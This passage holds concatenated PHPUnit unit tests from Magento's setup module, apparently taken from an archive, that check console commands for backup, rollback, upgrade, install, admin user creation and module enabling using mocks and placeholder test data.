$this->createMock(BackupRollbackFactory::class); $this->backupRollbackFactory->expects($this->any()) ->method('create') ->willReturn($this->backupRollback); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $appState = $this->createMock(State::class); $configLoader = $this->getMockForAbstractClass( ConfigLoaderInterface::class, [], '', false ); $configLoader->expects($this->any())->method('load')->willReturn([]); $this->objectManager->expects($this->any()) ->method('get') ->willReturnMap( [ [BackupRollbackFactory::class, $this->backupRollbackFactory], [State::class, $appState], [ConfigLoaderInterface::class, $configLoader], ] ); $command = new BackupCommand( $objectManagerProvider, $maintenanceMode, $this->deploymentConfig, new MaintenanceModeEnabler($maintenanceMode) ); $this->tester = new CommandTester($command); } public function testExecuteCodeBackup() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->backupRollback->expects($this->once()) ->method('codeBackup') ->willReturn($this->backupRollback); $this->tester->execute(['--code' => true]); } public function testExecuteMediaBackup() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->backupRollback->expects($this->once()) ->method('codeBackup') ->willReturn($this->backupRollback); $this->tester->execute(['--media' => true]); } public function testExecuteDBBackup() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->backupRollback->expects($this->once()) ->method('dbBackup') ->willReturn($this->backupRollback); $this->tester->execute(['--db' => true]); } public function testExecuteNotInstalled() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(false); $this->tester->execute(['--db' => true]); $this->assertStringMatchesFormat( 'No information is available: the Magento application is not installed.%w', $this->tester->getDisplay() ); } public function testExecuteNoOptions() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(false); $this->tester->execute([]); $expected = 'Enabling maintenance mode' . PHP_EOL . 'Not enough information provided to take backup.' . PHP_EOL . 'Disabling maintenance mode' . PHP_EOL; $this->assertSame($expected, $this->tester->getDisplay()); } } Magento/Setup/Test/Unit/Console/Command/UpgradeCommandTest.php000077700000014372151323623130020330 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\State as AppState; use Magento\Framework\Console\Cli; use Magento\Setup\Console\Command\UpgradeCommand; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Magento\Setup\Model\SearchConfig; use Magento\Setup\Model\SearchConfigFactory; use Symfony\Component\Console\Tester\CommandTester; class UpgradeCommandTest extends TestCase { /** * @var DeploymentConfig|MockObject */ private $deploymentConfigMock; /** * @var InstallerFactory|MockObject */ private $installerFactoryMock; /** * @var Installer|MockObject */ private $installerMock; /** * @var AppState|MockObject */ private $appStateMock; /** * @var SearchConfig|MockObject */ private $searchConfigMock; /** * @var UpgradeCommand */ private $upgradeCommand; /** * @var CommandTester */ private $commandTester; /** * @return void */ protected function setUp(): void { $this->deploymentConfigMock = $this->getMockBuilder(DeploymentConfig::class) ->disableOriginalConstructor() ->getMock(); $this->installerFactoryMock = $this->getMockBuilder(InstallerFactory::class) ->disableOriginalConstructor() ->getMock(); $this->installerMock = $this->getMockBuilder(Installer::class) ->disableOriginalConstructor() ->getMock(); $this->installerFactoryMock->expects($this->once()) ->method('create') ->willReturn($this->installerMock); $this->appStateMock = $this->getMockBuilder(AppState::class) ->disableOriginalConstructor() ->getMock(); $this->searchConfigMock = $this->getMockBuilder(SearchConfig::class) ->disableOriginalConstructor() ->getMock(); /** @var MockObject|SearchConfigFactory $searchConfigFactoryMock */ $searchConfigFactoryMock = $this->getMockBuilder(SearchConfigFactory::class) ->disableOriginalConstructor() ->getMock(); $searchConfigFactoryMock->expects($this->once())->method('create')->willReturn($this->searchConfigMock); $this->upgradeCommand = new UpgradeCommand( $this->installerFactoryMock, $searchConfigFactoryMock, $this->deploymentConfigMock, $this->appStateMock ); $this->commandTester = new CommandTester($this->upgradeCommand); } /** * @dataProvider executeDataProvider * @param array $options * @param string $deployMode * @param string $expectedString * @param array $expectedOptions */ public function testExecute($options, $deployMode, $expectedString, $expectedOptions) { $this->appStateMock->method('getMode')->willReturn($deployMode); $this->installerMock->expects($this->at(0)) ->method('updateModulesSequence'); $this->installerMock->expects($this->once()) ->method('installSchema') ->with($expectedOptions); $this->installerMock->expects($this->at(2)) ->method('installDataFixtures'); $this->assertSame(Cli::RETURN_SUCCESS, $this->commandTester->execute($options)); $this->assertEquals($expectedString, $this->commandTester->getDisplay()); } /** * @return array */ public function executeDataProvider() { return [ [ 'options' => [ '--magento-init-params' => '', '--convert-old-scripts' => false, ], 'deployMode' => \Magento\Framework\App\State::MODE_PRODUCTION, 'expectedString' => 'Please re-run Magento compile command. Use the command "setup:di:compile"' . PHP_EOL, 'expectedOptions' => [ 'keep-generated' => false, 'convert-old-scripts' => false, 'safe-mode' => false, 'data-restore' => false, 'dry-run' => false, 'magento-init-params' => '', ] ], [ 'options' => [ '--magento-init-params' => '', '--convert-old-scripts' => false, '--keep-generated' => true, ], 'deployMode' => \Magento\Framework\App\State::MODE_PRODUCTION, 'expectedString' => '', 'expectedOptions' => [ 'keep-generated' => true, 'convert-old-scripts' => false, 'safe-mode' => false, 'data-restore' => false, 'dry-run' => false, 'magento-init-params' => '', ] ], [ 'options' => ['--magento-init-params' => '', '--convert-old-scripts' => false], 'deployMode' => \Magento\Framework\App\State::MODE_DEVELOPER, 'expectedString' => '', 'expectedOptions' => [ 'keep-generated' => false, 'convert-old-scripts' => false, 'safe-mode' => false, 'data-restore' => false, 'dry-run' => false, 'magento-init-params' => '', ] ], [ 'options' => ['--magento-init-params' => '', '--convert-old-scripts' => false], 'deployMode' => \Magento\Framework\App\State::MODE_DEFAULT, 'expectedString' => '', 'expectedOptions' => [ 'keep-generated' => false, 'convert-old-scripts' => false, 'safe-mode' => false, 'data-restore' => false, 'dry-run' => false, 'magento-init-params' => '', ] ], ]; } } Magento/Setup/Test/Unit/Console/Command/DbSchemaUpgradeCommandTest.php000077700000005265151323623130021720 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Setup\Console\Command\DbSchemaUpgradeCommand; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; class DbSchemaUpgradeCommandTest extends TestCase { /** * @var InstallerFactory|MockObject */ private $installerFactory; /** * @var DeploymentConfig|MockObject */ private $deploymentConfig; protected function setUp(): void { $this->installerFactory = $this->createMock(InstallerFactory::class); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); } /** * @dataProvider executeDataProvider * @param $options * @param $expectedOptions */ public function testExecute($options, $expectedOptions) { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(true); $installer = $this->createMock(Installer::class); $this->installerFactory->expects($this->once())->method('create')->willReturn($installer); $installer ->expects($this->once()) ->method('installSchema') ->with($expectedOptions); $commandTester = new CommandTester( new DbSchemaUpgradeCommand($this->installerFactory, $this->deploymentConfig) ); $commandTester->execute($options); } /** * @return array */ public function executeDataProvider() { return [ [ 'options' => [ '--magento-init-params' => '', '--convert-old-scripts' => false ], 'expectedOptions' => [ 'convert-old-scripts' => false, 'magento-init-params' => '', ] ], ]; } public function testExecuteNoConfig() { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(false); $this->installerFactory->expects($this->never())->method('create'); $commandTester = new CommandTester( new DbSchemaUpgradeCommand($this->installerFactory, $this->deploymentConfig) ); $commandTester->execute([]); $this->assertStringMatchesFormat( 'No information is available: the Magento application is not installed.%w', $commandTester->getDisplay() ); } } Magento/Setup/Test/Unit/Console/Command/RollbackCommandTest.php000077700000014555151323623130020475 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\Console\MaintenanceModeEnabler; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\App\State; use Magento\Framework\ObjectManager\ConfigLoaderInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\BackupRollback; use Magento\Framework\Setup\BackupRollbackFactory; use Magento\Setup\Console\Command\RollbackCommand; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class RollbackCommandTest extends TestCase { /** * @var ObjectManagerInterface|MockObject */ private $objectManager; /** * @var CommandTester */ private $tester; /** * @var DeploymentConfig|MockObject */ private $deploymentConfig; /** * @var BackupRollback|MockObject */ private $backupRollback; /** * @var BackupRollbackFactory|MockObject */ private $backupRollbackFactory; /** * @var HelperSet|MockObject */ private $helperSet; /** * @var QuestionHelper|MockObject */ private $question; /** * @var RollbackCommand */ private $command; protected function setUp(): void { $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $maintenanceMode = $this->createMock(MaintenanceMode::class); $this->objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->expects($this->any())->method('get')->willReturn($this->objectManager); $this->backupRollback = $this->createMock(BackupRollback::class); $this->backupRollbackFactory = $this->createMock(BackupRollbackFactory::class); $this->backupRollbackFactory->expects($this->any()) ->method('create') ->willReturn($this->backupRollback); $appState = $this->createMock(State::class); $configLoader = $this->getMockForAbstractClass( ConfigLoaderInterface::class, [], '', false ); $configLoader->expects($this->any())->method('load')->willReturn([]); $this->objectManager->expects($this->any()) ->method('get') ->willReturnMap([ [BackupRollbackFactory::class, $this->backupRollbackFactory], [State::class, $appState], [ConfigLoaderInterface::class, $configLoader], ]); $this->helperSet = $this->createMock(HelperSet::class); $this->question = $this->createMock(QuestionHelper::class); $this->question ->expects($this->any()) ->method('ask') ->willReturn(true); $this->helperSet ->expects($this->any()) ->method('get') ->with('question') ->willReturn($this->question); $this->command = new RollbackCommand( $objectManagerProvider, $maintenanceMode, $this->deploymentConfig, new MaintenanceModeEnabler($maintenanceMode) ); $this->command->setHelperSet($this->helperSet); $this->tester = new CommandTester($this->command); } public function testExecuteCodeRollback() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->backupRollback->expects($this->once()) ->method('codeRollback') ->willReturn($this->backupRollback); $this->tester->execute(['--code-file' => 'A.tgz']); } public function testExecuteMediaRollback() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->backupRollback->expects($this->once()) ->method('codeRollback') ->willReturn($this->backupRollback); $this->tester->execute(['--media-file' => 'A.tgz']); } public function testExecuteDBRollback() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->backupRollback->expects($this->once()) ->method('dbRollback') ->willReturn($this->backupRollback); $this->tester->execute(['--db-file' => 'C.gz']); } public function testExecuteNotInstalled() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(false); $this->tester->execute(['--db-file' => 'C.gz']); $this->assertStringMatchesFormat( 'No information is available: the Magento application is not installed.%w', $this->tester->getDisplay() ); } public function testExecuteNoOptions() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->tester->execute([]); $expected = 'Enabling maintenance mode' . PHP_EOL . 'Not enough information provided to roll back.' . PHP_EOL . 'Disabling maintenance mode' . PHP_EOL; $this->assertSame($expected, $this->tester->getDisplay()); } public function testInteraction() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->question ->expects($this->atLeast(2)) ->method('ask') ->willReturn(false); $this->helperSet ->expects($this->once()) ->method('get') ->with('question') ->willReturn($this->question); $this->command->setHelperSet($this->helperSet); $this->tester = new CommandTester($this->command); $this->tester->execute(['--db-file' => 'C.gz']); } } Magento/Setup/Test/Unit/Console/Command/AdminUserCreateCommandTest.php000077700000017440151323623130021753 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Setup\Console\Command\AdminUserCreateCommand; use Magento\Setup\Model\AdminAccount; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use Magento\Setup\Mvc\Bootstrap\InitParamListener; use Magento\User\Model\UserValidationRules; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Application; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class AdminUserCreateCommandTest extends TestCase { /** * @var MockObject|QuestionHelper */ private $questionHelperMock; /** * @var MockObject|InstallerFactory */ private $installerFactoryMock; /** * @var MockObject|AdminUserCreateCommand */ private $command; protected function setUp(): void { $this->installerFactoryMock = $this->createMock(InstallerFactory::class); $this->command = new AdminUserCreateCommand($this->installerFactoryMock, new UserValidationRules()); $this->questionHelperMock = $this->getMockBuilder(QuestionHelper::class) ->setMethods(['ask']) ->getMock(); } public function testExecute() { $options = [ '--' . AdminAccount::KEY_USER => 'user', '--' . AdminAccount::KEY_PASSWORD => '123123q', '--' . AdminAccount::KEY_EMAIL => 'test@test.com', '--' . AdminAccount::KEY_FIRST_NAME => 'John', '--' . AdminAccount::KEY_LAST_NAME => 'Doe', ]; $data = [ AdminAccount::KEY_USER => 'user', AdminAccount::KEY_PASSWORD => '123123q', AdminAccount::KEY_EMAIL => 'test@test.com', AdminAccount::KEY_FIRST_NAME => 'John', AdminAccount::KEY_LAST_NAME => 'Doe', InitParamListener::BOOTSTRAP_PARAM => null, ]; $commandTester = new CommandTester($this->command); $installerMock = $this->createMock(Installer::class); $installerMock->expects($this->once())->method('installAdminUser')->with($data); $this->installerFactoryMock->expects($this->once())->method('create')->willReturn($installerMock); $commandTester->execute($options, ['interactive' => false]); $this->assertEquals('Created Magento administrator user named user' . PHP_EOL, $commandTester->getDisplay()); } public function testInteraction() { $application = new Application(); $application->add($this->command); $this->questionHelperMock->expects($this->at(0)) ->method('ask') ->willReturn('admin'); $this->questionHelperMock->expects($this->at(1)) ->method('ask') ->willReturn('Password123'); $this->questionHelperMock->expects($this->at(2)) ->method('ask') ->willReturn('john.doe@example.com'); $this->questionHelperMock->expects($this->at(3)) ->method('ask') ->willReturn('John'); $this->questionHelperMock->expects($this->at(4)) ->method('ask') ->willReturn('Doe'); // We override the standard helper with our mock $this->command->getHelperSet()->set($this->questionHelperMock, 'question'); $installerMock = $this->createMock(Installer::class); $expectedData = [ 'admin-user' => 'admin', 'admin-password' => 'Password123', 'admin-email' => 'john.doe@example.com', 'admin-firstname' => 'John', 'admin-lastname' => 'Doe', 'magento-init-params' => null, 'help' => false, 'quiet' => false, 'verbose' => false, 'version' => false, 'ansi' => false, 'no-ansi' => false, 'no-interaction' => false, ]; $installerMock->expects($this->once())->method('installAdminUser')->with($expectedData); $this->installerFactoryMock->expects($this->once())->method('create')->willReturn($installerMock); $commandTester = new CommandTester($this->command); $commandTester->execute([ 'command' => $this->command->getName(), ]); $this->assertEquals( 'Created Magento administrator user named admin' . PHP_EOL, $commandTester->getDisplay() ); } /** * @param int $mode * @param string $description * @dataProvider getOptionListDataProvider */ public function testGetOptionsList($mode, $description) { /* @var $argsList \Symfony\Component\Console\Input\InputArgument[] */ $argsList = $this->command->getOptionsList($mode); $this->assertEquals(AdminAccount::KEY_EMAIL, $argsList[2]->getName()); $this->assertEquals($description, $argsList[2]->getDescription()); } /** * @return array */ public function getOptionListDataProvider() { return [ [ 'mode' => InputOption::VALUE_REQUIRED, 'description' => '(Required) Admin email', ], [ 'mode' => InputOption::VALUE_OPTIONAL, 'description' => 'Admin email', ], ]; } /** * @dataProvider validateDataProvider * @param bool[] $options * @param string[] $errors */ public function testValidate(array $options, array $errors) { $inputMock = $this->getMockForAbstractClass( InputInterface::class, [], '', false ); $index = 0; foreach ($options as $option) { $inputMock->expects($this->at($index++))->method('getOption')->willReturn($option); } $this->assertEquals($errors, $this->command->validate($inputMock)); } /** * @return array */ public function validateDataProvider() { return [ [ [null, 'Doe', 'admin', 'test@test.com', '123123q', '123123q'], ['"First Name" is required. Enter and try again.'] ], [ ['John', null, null, 'test@test.com', '123123q', '123123q'], ['"User Name" is required. Enter and try again.', '"Last Name" is required. Enter and try again.'], ], [['John', 'Doe', 'admin', null, '123123q', '123123q'], ['Please enter a valid email.']], [ ['John', 'Doe', 'admin', 'test', '123123q', '123123q'], ["'test' is not a valid email address in the basic format local-part@hostname"] ], [ ['John', 'Doe', 'admin', 'test@test.com', '', ''], [ 'Password is required field.', 'Your password must be at least 7 characters.', 'Your password must include both numeric and alphabetic characters.' ] ], [ ['John', 'Doe', 'admin', 'test@test.com', '123123', '123123'], [ 'Your password must be at least 7 characters.', 'Your password must include both numeric and alphabetic characters.' ] ], [ ['John', 'Doe', 'admin', 'test@test.com', '1231231', '1231231'], ['Your password must include both numeric and alphabetic characters.'] ], [['John', 'Doe', 'admin', 'test@test.com', '123123q', '123123q'], []], ]; } } Magento/Setup/Test/Unit/Console/Command/InfoAdminUriCommandTest.php000077700000002523151323623130021260 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Setup\BackendFrontnameGenerator; use Magento\Setup\Console\Command\InfoAdminUriCommand; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; class InfoAdminUriCommandTest extends TestCase { /** * @var DeploymentConfig|MockObject */ protected $deploymentConfig; protected function setup(): void { $this->deploymentConfig = $this->createMock(DeploymentConfig::class); } public function testExecute() { $this->deploymentConfig->expects($this->once())->method('get')->willReturn('admin_qw12er'); $commandTester = new CommandTester(new InfoAdminUriCommand($this->deploymentConfig)); $commandTester->execute([]); $regexp = '/' . BackendFrontnameGenerator::ADMIN_AREA_PATH_PREFIX . '[a-z0-9]{1,' . BackendFrontnameGenerator::ADMIN_AREA_PATH_RANDOM_PART_LENGTH . '}/'; $this->assertMatchesRegularExpression( $regexp, $commandTester->getDisplay(), 'Unexpected Backend Frontname pattern.' ); } } Magento/Setup/Test/Unit/Console/Command/InstallCommandTest.php000077700000027006151323623130020345 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Backend\Setup\ConfigOptionsList as BackendConfigOptionsList; use Magento\Deploy\Console\Command\App\ConfigImportCommand; use Magento\Framework\Config\ConfigOptionsListConstants as SetupConfigOptionsList; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Console\Command\AdminUserCreateCommand; use Magento\Setup\Console\Command\InstallCommand; use Magento\Setup\Console\Command\InstallStoreConfigurationCommand; use Magento\Setup\Model\AdminAccount; use Magento\Setup\Model\ConfigModel; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use Magento\Setup\Model\StoreConfigurationDataMapper; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Magento\Setup\Model\SearchConfigOptionsList; use Symfony\Component\Console\Application; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallCommandTest extends TestCase { /** * @var array */ private $input; /** * @var MockObject|InstallCommand */ private $command; /** * @var MockObject|InstallerFactory */ private $installerFactory; /** * @var MockObject|Installer */ private $installer; /** * @var Application|MockObject */ private $applicationMock; /** * @var HelperSet|MockObject */ private $helperSetMock; /** * @var InputDefinition|MockObject */ private $definitionMock; /** * @var ConfigImportCommand|MockObject */ private $configImportMock; /** * @var AdminUserCreateCommand|MockObject */ private $adminUserMock; protected function setUp(): void { $this->input = [ '--' . SetupConfigOptionsList::INPUT_KEY_DB_HOST => 'localhost', '--' . SetupConfigOptionsList::INPUT_KEY_DB_NAME => 'magento', '--' . SetupConfigOptionsList::INPUT_KEY_DB_USER => 'root', '--' . BackendConfigOptionsList::INPUT_KEY_BACKEND_FRONTNAME => 'admin', '--' . StoreConfigurationDataMapper::KEY_BASE_URL => 'http://127.0.0.1/magento2ce/', '--' . StoreConfigurationDataMapper::KEY_LANGUAGE => 'en_US', '--' . StoreConfigurationDataMapper::KEY_TIMEZONE => 'America/Chicago', '--' . StoreConfigurationDataMapper::KEY_CURRENCY => 'USD', ]; $configModel = $this->createMock(ConfigModel::class); $configModel ->expects($this->exactly(2)) ->method('getAvailableOptions') ->willReturn($this->getOptionsListDeployConfig()); $configModel ->expects($this->once()) ->method('validate') ->willReturn([]); $userConfig = $this->createMock(InstallStoreConfigurationCommand::class); $userConfig ->expects($this->once()) ->method('getOptionsList') ->willReturn($this->getOptionsListUserConfig()); $userConfig ->expects($this->once()) ->method('validate') ->willReturn([]); $this->adminUserMock = $this->createMock(AdminUserCreateCommand::class); $this->adminUserMock ->expects($this->once()) ->method('getOptionsList') ->willReturn($this->getOptionsListAdminUser()); $searchConfigOptionsList = new SearchConfigOptionsList(); $this->installerFactory = $this->createMock(InstallerFactory::class); $this->installer = $this->createMock(Installer::class); $this->applicationMock = $this->getMockBuilder(Application::class) ->disableOriginalConstructor() ->getMock(); $this->helperSetMock = $this->getMockBuilder(HelperSet::class) ->disableOriginalConstructor() ->getMock(); $this->definitionMock = $this->getMockBuilder(InputDefinition::class) ->disableOriginalConstructor() ->getMock(); $this->configImportMock = $this->getMockBuilder(ConfigImportCommand::class) ->disableOriginalConstructor() ->getMock(); $this->applicationMock->expects($this->any()) ->method('getHelperSet') ->willReturn($this->helperSetMock); $this->applicationMock->expects($this->any()) ->method('getDefinition') ->willReturn($this->definitionMock); $this->definitionMock->expects($this->any()) ->method('getOptions') ->willReturn([]); $this->applicationMock->expects($this->any()) ->method('find') ->with(ConfigImportCommand::COMMAND_NAME) ->willReturn($this->configImportMock); $this->command = new InstallCommand( $this->installerFactory, $configModel, $userConfig, $this->adminUserMock, $searchConfigOptionsList ); $this->command->setApplication( $this->applicationMock ); } public function testExecute() { $this->input['--' . AdminAccount::KEY_USER] = 'user'; $this->input['--' . AdminAccount::KEY_PASSWORD] = '123123q'; $this->input['--' . AdminAccount::KEY_EMAIL] = 'test@test.com'; $this->input['--' . AdminAccount::KEY_FIRST_NAME] = 'John'; $this->input['--' . AdminAccount::KEY_LAST_NAME] = 'Doe'; $this->adminUserMock ->expects($this->once()) ->method('validate') ->willReturn([]); $this->installerFactory->expects($this->once()) ->method('create') ->willReturn($this->installer); $this->installer->expects($this->once())->method('install'); $this->configImportMock->expects($this->once()) ->method('run'); $commandTester = new CommandTester($this->command); $commandTester->execute($this->input); } /** * Get list of options for deployment configuration * * @return array */ private function getOptionsListDeployConfig() { $option1 = $this->createMock(TextConfigOption::class); $option1 ->expects($this->any()) ->method('getName') ->willReturn(SetupConfigOptionsList::INPUT_KEY_DB_HOST); $option2 = $this->createMock(TextConfigOption::class); $option2 ->expects($this->any()) ->method('getName') ->willReturn(SetupConfigOptionsList::INPUT_KEY_DB_NAME); $option3 = $this->createMock(TextConfigOption::class); $option3 ->expects($this->any()) ->method('getName') ->willReturn(SetupConfigOptionsList::INPUT_KEY_DB_USER); $option4 = $this->createMock(TextConfigOption::class); $option4 ->expects($this->any()) ->method('getName') ->willReturn(BackendConfigOptionsList::INPUT_KEY_BACKEND_FRONTNAME); return [$option1, $option2, $option3, $option4]; } /** * Get list of options for user configuration * * @return array */ private function getOptionsListUserConfig() { $option1 = $this->createMock(TextConfigOption::class); $option1 ->expects($this->any()) ->method('getName') ->willReturn(StoreConfigurationDataMapper::KEY_BASE_URL); $option2 = $this->createMock(TextConfigOption::class); $option2 ->expects($this->any()) ->method('getName') ->willReturn(StoreConfigurationDataMapper::KEY_LANGUAGE); $option3 = $this->createMock(TextConfigOption::class); $option3 ->expects($this->any()) ->method('getName') ->willReturn(StoreConfigurationDataMapper::KEY_TIMEZONE); $option4 = $this->createMock(TextConfigOption::class); $option4 ->expects($this->any()) ->method('getName') ->willReturn(StoreConfigurationDataMapper::KEY_CURRENCY); return [$option1, $option2, $option3, $option4]; } /** * Get list of options for admin user * * @return array */ private function getOptionsListAdminUser() { $option1 = $this->createMock(TextConfigOption::class); $option1 ->expects($this->any()) ->method('getName') ->willReturn(AdminAccount::KEY_USER); $option2 = $this->createMock(TextConfigOption::class); $option2 ->expects($this->any()) ->method('getName') ->willReturn(AdminAccount::KEY_PASSWORD); $option3 = $this->createMock(TextConfigOption::class); $option3 ->expects($this->any()) ->method('getName') ->willReturn(AdminAccount::KEY_EMAIL); $option4 = $this->createMock(TextConfigOption::class); $option4 ->expects($this->any()) ->method('getName') ->willReturn(AdminAccount::KEY_FIRST_NAME); $option5 = $this->createMock(TextConfigOption::class); $option5 ->expects($this->any()) ->method('getName') ->willReturn(AdminAccount::KEY_LAST_NAME); return [$option1, $option2, $option3, $option4, $option5]; } /** * Test install command with valid sales_order_increment_prefix value * * @dataProvider validateDataProvider * @param $prefixValue */ public function testValidate($prefixValue) { $this->adminUserMock ->expects($this->never()) ->method('validate'); $this->installerFactory->expects($this->once()) ->method('create') ->willReturn($this->installer); $this->installer->expects($this->once())->method('install'); $this->input['--' . InstallCommand::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX] = $prefixValue; $commandTester = new CommandTester($this->command); $commandTester->execute($this->input); } /** * Test install command with invalid sales_order_increment_prefix value * * @dataProvider validateWithExceptionDataProvider * @param $prefixValue */ public function testValidateWithException($prefixValue) { $this->expectException('InvalidArgumentException'); $this->adminUserMock ->expects($this->never()) ->method('validate'); $this->installerFactory->expects($this->never()) ->method('create') ->willReturn($this->installer); $this->installer->expects($this->never())->method('install'); $this->input['--' . InstallCommand::INPUT_KEY_SALES_ORDER_INCREMENT_PREFIX] = $prefixValue; $commandTester = new CommandTester($this->command); $commandTester->execute($this->input); } /** * @return array */ public function validateDataProvider() { return [ 'without option' => ['', ''], 'normal case' => ['abcde', ''], '20 chars' => ['12345678901234567890', ''], ]; } /** * @return array */ public function validateWithExceptionDataProvider() { return [ ['123456789012345678901', 'InvalidArgumentException'], ['abcdefghijk12345678fdgsdfgsdfgsdfsgsdfg90abcdefgdfddgsdfg', 'InvalidArgumentException'], ]; } } Magento/Setup/Test/Unit/Console/Command/ModuleEnableDisableCommandTest.php000077700000030112151323623130022547 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\Cache; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\State\CleanupFiles; use Magento\Framework\Code\GeneratedFiles; use Magento\Framework\Module\FullModuleList; use Magento\Framework\Module\Status; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Console\Command\ModuleDisableCommand; use Magento\Setup\Console\Command\ModuleEnableCommand; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ModuleEnableDisableCommandTest extends TestCase { /** * @var ObjectManagerProvider|MockObject */ private $objectManagerProviderMock; /** * @var Status|MockObject */ private $statusMock; /** * @var Cache|MockObject */ private $cacheMock; /** * @var CleanupFiles|MockObject */ private $cleanupFilesMock; /** * @var FullModuleList|MockObject */ private $fullModuleListMock; /** * @var DeploymentConfig|MockObject */ private $deploymentConfigMock; /** * @var GeneratedFiles|MockObject */ private $generatedFiles; protected function setUp(): void { $this->objectManagerProviderMock = $this->createMock(ObjectManagerProvider::class); $objectManager = $this->getMockForAbstractClass(ObjectManagerInterface::class); $this->objectManagerProviderMock ->method('get') ->willReturn($objectManager); $this->statusMock = $this->createMock(Status::class); $this->cacheMock = $this->createMock(Cache::class); $this->cleanupFilesMock = $this->createMock(CleanupFiles::class); $this->fullModuleListMock = $this->createMock(FullModuleList::class); $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); $this->generatedFiles = $this->createMock(GeneratedFiles::class); $objectManager->method('get') ->willReturnMap( [ [Status::class, $this->statusMock], [Cache::class, $this->cacheMock], [CleanupFiles::class, $this->cleanupFilesMock], [FullModuleList::class, $this->fullModuleListMock], ] ); } /** * @param bool $isEnable * @param bool $clearStaticContent * @param string $expectedMessage * * @dataProvider executeDataProvider */ public function testExecute($isEnable, $clearStaticContent, $expectedMessage) { $this->statusMock->expects($this->once()) ->method('getModulesToChange') ->with($isEnable, ['Magento_Module1', 'Magento_Module2']) ->willReturn(['Magento_Module1']); $this->statusMock->expects($this->any()) ->method('checkConstraints') ->willReturn([]); $this->statusMock->expects($this->once()) ->method('setIsEnabled') ->with($isEnable, ['Magento_Module1']); $this->cacheMock->expects($this->once()) ->method('clean'); $this->cleanupFilesMock->expects($this->once()) ->method('clearCodeGeneratedClasses'); $this->cleanupFilesMock->expects($clearStaticContent ? $this->once() : $this->never()) ->method('clearMaterializedViewFiles'); $commandTester = $this->getCommandTester($isEnable); $input = ['module' => 